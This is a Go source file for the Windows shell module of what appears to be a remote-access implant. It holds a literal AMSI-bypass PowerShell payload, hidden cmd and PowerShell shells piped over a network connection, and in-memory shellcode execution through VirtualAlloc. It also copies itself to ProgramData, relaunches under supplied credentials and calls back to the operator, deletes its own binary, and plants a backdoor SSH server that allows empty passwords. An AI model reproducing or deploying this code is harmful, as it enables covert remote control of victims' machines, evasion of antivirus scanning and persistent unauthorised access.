shell_windows.go
package shell
import (
"fmt"
"io"
"log"
"net"
"os"
"os/exec"
"os/user"
"strings"
"syscall"
"unsafe"
"io/ioutil"
"encoding/base64"
"../utils"
)
const (
memCommit = 0x1000
memReserve = 0x2000
pageExecuteReadWrite = 0x40
)
var (
kernel32 = syscall.MustLoadDLL(utils.Bake("§kernel32.dll§"))
ntdll = syscall.MustLoadDLL(utils.Bake("§ntdll.dll§"))
VirtualAlloc = kernel32.MustFindProc(utils.Bake("§VirtualAlloc§"))
RtlCopyMemory = ntdll.MustFindProc(utils.Bake("§RtlCopyMemory§"))
procSetStdHandle = kernel32.MustFindProc(utils.Bake("§SetStdHandle§"))
amsiBypass = utils.Bake(`§$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)§`)
)
const (
sshd = `§sshd.exe§`
)
// SetStdHandle https://docs.microsoft.com/de-de/windows/console/setstdhandle
func SetStdHandle(stdhandle int32, handle syscall.Handle) error {
r0, _, e1 := syscall.Syscall(procSetStdHandle.Addr(), 2, uintptr(stdhandle), uintptr(handle), 0)
if r0 == 0 {
if e1 != 0 {
return error(e1)
}
return syscall.EINVAL
}
return nil
}
// Shell ...
func Shell() *exec.Cmd {
cmd := exec.Command(utils.Bake("§C:\\Windows\\System32\\cmd.exe§"))
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd
}
// Powershell ...
func Powershell() (*exec.Cmd, error) {
cmd := exec.Command(utils.Bake("§C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe§"), "-exec", "bypass", "-NoExit", "-command", string(amsiBypass))
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd, nil
}
// ExecShell ...
func ExecShell(command string, c net.Conn) {
cmd := exec.Command(utils.Bake("§\\Windows\\System32\\cmd.exe§"), "/c", command+"\n")
rp, wp := io.Pipe()
cmd.Stdin = c
cmd.Stdout = wp
go io.Copy(c, rp)
cmd.Run()
}
// Exec ...
func Exec(command string, c net.Conn) {
path := "C:\\Windows\\System32\\cmd.exe"
cmd := exec.Command(path, "/c", command+"\n")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
// ExecPS ...
func ExecPS(command string, c net.Conn) {
path := "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
cmd := exec.Command(path, "-exec", "bypass", "-command", command+"\n")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
// ExecOut execute a command and retrieves the output
func ExecOut(command string) (string, error) {
path := "C:\\Windows\\System32\\cmd.exe"
cmd := exec.Command(path, "/c", command+"\n")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, err := cmd.CombinedOutput()
return string(out), err
}
// ExecPSOut execute a ps command and retrieves the output
func ExecPSOut(command string, encoded bool) (string, error) {
path := "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
var cmd *exec.Cmd
if encoded {
cmd = exec.Command(path, "-exec", "bypaSs", "-encodedcommand", command+"\n")
} else {
cmd = exec.Command(path, "-exec", "bypaSs", "-command", command+"\n")
}
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, err := cmd.CombinedOutput()
return string(out), err
}
func ExecPSOutNoAMSI(command string) (string, error) {
path := "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
var cmd *exec.Cmd
cmd = exec.Command(path, "-exec", "bypaSs", "-command", amsiBypass + ";" +command+"\n")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, err := cmd.CombinedOutput()
return string(out), err
}
// ExecDebug ...
func ExecDebug(cmd string) (string, error) {
out, err := ExecOut(cmd)
if err != nil {
log.Println(err)
return err.Error(), err
}
fmt.Printf("%s\n", strings.TrimLeft(strings.TrimRight(out, "\r\n"), "\r\n"))
return out, err
}
// ExecPSDebug ...
func ExecPSDebug(cmd string) (string, error) {
out, err := ExecPSOut(cmd, false)
if err != nil {
log.Println(err)
return err.Error(), err
}
fmt.Printf("%s\n", strings.TrimLeft(strings.TrimRight(out, "\r\n"), "\r\n"))
return out, err
}
// ExecSilent ...
func ExecSilent(command string, c net.Conn) {
path := "C:\\Windows\\System32\\cmd.exe"
cmd := exec.Command(path, "/c", command+"\n")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()
}
// ExecSC executes Shellcode
func ExecSC(sc []byte) {
// ioutil.WriteFile("met.dll", sc, 0644)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), memCommit|memReserve, pageExecuteReadWrite)
if addr == 0 {
log.Println(err)
return
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// this "error" will be "Operation completed successfully"
log.Println(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
// RunAs will rerun the as as the user we specify
func RunAs(user string, pass string, domain string, c net.Conn) {
path := CopySelf()
ip, port := utils.SplitAddress(c.RemoteAddr().String())
cmd := fmt.Sprintf("%s %s %s", path, ip, port)
err := CreateProcessWithLogon(user, pass, domain, path, cmd)
if err != nil {
fmt.Println(err)
return
}
c.Close()
return
}
// RunAsPS ...
func RunAsPS(user string, pass string, domain string, c net.Conn) {
path := CopySelf()
ip, port := utils.SplitAddress(c.RemoteAddr().String())
cmd := fmt.Sprintf("%s %s %s", path, ip, port)
cmdLine := ""
cmdLine += fmt.Sprintf("$user = '%s\\%s';", domain, user)
cmdLine += fmt.Sprintf("$password = '%s';", pass)
cmdLine += fmt.Sprintf("$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;")
cmdLine += fmt.Sprintf("$credential = New-Object System.Management.Automation.PSCredential $user,$securePassword;")
cmdLine += fmt.Sprintf("$session = New-PSSession -Credential $credential;")
cmdLine += fmt.Sprintf("Invoke-Command -Session $session -ScriptBlock {%s};", cmd)
_, err := ExecPSOut(cmdLine, false)
if err != nil {
c.Write([]byte(fmt.Sprintf("\nRunAsPS Failed: %s\n", err)))
return
}
c.Close()
return
}
// CopySelf ...
func CopySelf() string {
currentPath := os.Args[0]
// random name
name := utils.RandSeq(8)
path := fmt.Sprintf("C:\\ProgramData\\%s", fmt.Sprintf("%s.exe", name))
utils.CopyFile(currentPath, path)
return path
}
// Seppuku deletes the binary on graceful exit
func Seppuku(c net.Conn) {
binPath := os.Args[0]
fmt.Println(binPath)
go Exec(fmt.Sprintf("ping localhost -n 5 > nul & del %s", binPath), c)
}
func StartSSHServer(port int, c net.Conn) {
tmpDir := "C:\\windows\\temp\\ssh_temp"
ExecSilent(fmt.Sprintf("mkdir %s", tmpDir), c)
hostRsaFile := fmt.Sprintf("%s\\host_rsa", tmpDir)
hostDsaFile := fmt.Sprintf("%s\\host_dsa", tmpDir)
hostRsaPubFile := fmt.Sprintf("%s\\host_rsa.pub", tmpDir)
hostDsaPubFile := fmt.Sprintf("%s\\host_dsa.pub", tmpDir)
pidFile := fmt.Sprintf("%s\\sshd.pid", tmpDir)
authKeyFile := fmt.Sprintf("%s\\key_pub", tmpDir)
utils.SaveRaw(hostRsaFile, host_rsa)
utils.SaveRaw(hostDsaFile, host_dsa)
utils.SaveRaw(hostRsaPubFile, host_rsa_pub)
utils.SaveRaw(hostDsaPubFile, host_dsa_pub)
utils.SaveRaw(authKeyFile, key_pub)
utils.SaveRaw(pidFile, "0")
user, err := user.Current()
if err != nil {
log.Println(err.Error())
return
}
username := strings.Split(user.Username, "\\")[1]
for _, f := range []string{hostDsaFile,hostRsaFile,hostRsaPubFile,hostDsaPubFile,pidFile,authKeyFile} {
path := fmt.Sprintf("%s", f)
ExecSilent(fmt.Sprintf("icacls %s /grant:r %s:f /inheritance:r", path, username), c)
}
config := ""
config += fmt.Sprintf("Port %d\n", port)
config += "ListenAddress 0.0.0.0\n"
config += fmt.Sprintf("HostKey %s\n", hostRsaFile)
config += fmt.Sprintf("HostKey %s\n", hostDsaFile)
config += "PubkeyAuthentication yes\n"
config += fmt.Sprintf("AuthorizedKeysFile %s\n", authKeyFile)
config += "PasswordAuthentication yes\n"
config += "PermitEmptyPasswords yes\n"
config += "GatewayPorts yes\n"
config += fmt.Sprintf("PidFile %s\n", pidFile)
config += "Subsystem sftp sftp-server.exe\n"
config += "Match Group administrators\n"
config += fmt.Sprintf("\tAuthorizedKeysFile %s\n", authKeyFile)
utils.SaveRaw(fmt.Sprintf("%s\\sshd_config", tmpDir), config)
sshdbin, _ := base64.StdEncoding.DecodeString(sshd)
err = ioutil.WriteFile(fmt.Sprintf("%s\\sshd.exe", tmpDir),sshdbin, 0644)
if err != nil {
log.Println(err)
return
}
c.Write([]byte(fmt.Sprintf("Starting SSH server on port %d\n", port)))
go func() {
for {
// will terminate whenever a user connects and then reconnects
_, err = ExecOut(fmt.Sprintf("%s/sshd.exe -f %s/sshd_config -E %s/log.txt -d", tmpDir, tmpDir, tmpDir))
if err == nil {
// pass
} else {
//c.Write([]byte("Restarted SSH server\n"))
}
}
}()
}Last updated
